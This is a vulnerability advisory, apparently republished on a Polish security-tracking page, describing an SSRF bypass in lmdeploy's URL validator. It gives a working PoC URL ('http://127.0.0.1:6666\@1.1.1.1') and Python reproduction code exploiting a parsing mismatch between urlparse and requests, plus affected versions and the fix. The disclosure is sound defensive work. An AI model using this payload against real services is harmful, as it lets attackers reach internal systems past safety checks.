LMDeploy has an SSRF bypass
Summary
The URL checking logic in lmdeploy has a logical flaw that could be bypassed by attackers, leading to SSRF attacks.
Details
The current lmdeploy project uses _is_safe_url to validate the input URL. The main logic is to perform security checks on the host portion of the URL extracted by urlparse to prevent SSRF attacks.
<img width="943" height="836" alt="QQ20260416-203956-16-1" src="https://github.com/user-attachments/assets/042faad1-7458-444a-bbc9-525c772b0a4d" />
However, there are indeed differences in parsing between urlparse and the library that actually sends the request. Currently, almost all application scenarios in this project involve first using _is_safe_url for URL validation, and then using requests.Session().get to send the request.
<img width="1086" height="576" alt="QQ20260416-204053-16-2" src="https://github.com/user-attachments/assets/7ffb8a69-b155-483a-90be-016c53e6387a" />
The core issue: urlparse() and requests disagree on which host a URL like http://127.0.0.1:6666\@1.1.1.1 points to:
urlparse()treats\as a regular character and@as the userinfo-host delimiter, so it extracts hostname as 1.1.1.1 (public)requeststreats\as a path character, connecting to127.0.0.1(internal)
Below is a test code I wrote following the code.
from urllib.parse import urlparse
import ipaddress
import socket
import requests
def _is_safe_url(url: str) -> tuple[bool, str]:
"""Check if the URL is safe to fetch (not internal/private)."""
try:
parsed = urlparse(url)
if parsed.scheme not in ("http", "https"):
return False, f"Unsupported scheme: {parsed.scheme}"
hostname = parsed.hostname
if not hostname:
return False, "Could not parse hostname from URL"
# check all IPs (IPv4 + IPv6) using getaddrinfo
try:
infos = socket.getaddrinfo(hostname, None)
except socket.gaierror:
return False, "Hostname resolution failed"
for info in infos:
ip = ipaddress.ip_address(info[4][0])
# block any IP that is not globally routable (covers private, loopback,
# link-local, multicast, reserved, unspecified, etc.)
if not ip.is_global:
return False, f"Blocked non-global IP detected: {ip}"
return True, "URL is safe"
except Exception as e:
return False, f"URL validation failed: {str(e)}"
# url = "http://127.0.0.1:6666"
url = "http://127.0.0.1:6666\@1.1.1.1"
is_safe, reason = _is_safe_url(url)
if not is_safe:
raise ValueError(f"URL is blocked for security reasons: {reason}")
fetch_timeout = 10
client = requests.Session()
client.max_redirects = 3
response = client.get(url, timeout=fetch_timeout, allow_redirects=True)
When an attacker uses http://127.0.0.1:6666/, the existing detection logic can detect that this is an internal network address and block it.
<img width="1286" height="195" alt="QQ20260416-204234-16-3" src="https://github.com/user-attachments/assets/b921ff01-3b9f-49a5-a410-bd21fe42f9c9" />
However, when an attacker uses http://127.0.0.1:6666\@1.1.1.1, the detection logic resolves the host to 1.1.1.1, which is a public IP address, thus passing the verification. But in the actual request process, this URL is forwarded by requests.get to http://127.0.0.1:6666/, bypassing the detection and achieving an SSRF attack.
PoC
http://127.0.0.1:6666\@1.1.1.1
Impact
SSRF
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Python (PyPI) | lmdeploy | >= 0.12.3, < 0.15.0 | 0.15.0 |
Odnośniki
- Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N- Słabość (CWE)
CWE-436, CWE-918- Platforma
- Python (PyPI)
- Paczka
lmdeploy- Ujawniono
- 18.09.2026
- Aktualizacja
- 11.10.2026 15:18
Źródła i licencje
OSV / GitHub Advisory Database - GHSA-39wr-7q6h-cf68 - CC BY 4.0
Historia podatności: lmdeploy
Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.
- Wszystkich wpisów
- 10
- Pierwsza → ostatnia
- 04.2025 09.2026
- Bez poprawki
- 3
- Wykorzystywana w atakach
- 0
Rozkład istotności
- Krytyczna 2
- Wysoka 6
- Średnia 2
Ujawnienia w latach
- 2025: 3
- 2026: 7
-
LMDeploy has an SSRF bypass ten wpis
Dowiedz się, które podatności dotyczą Twojej aplikacji
Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.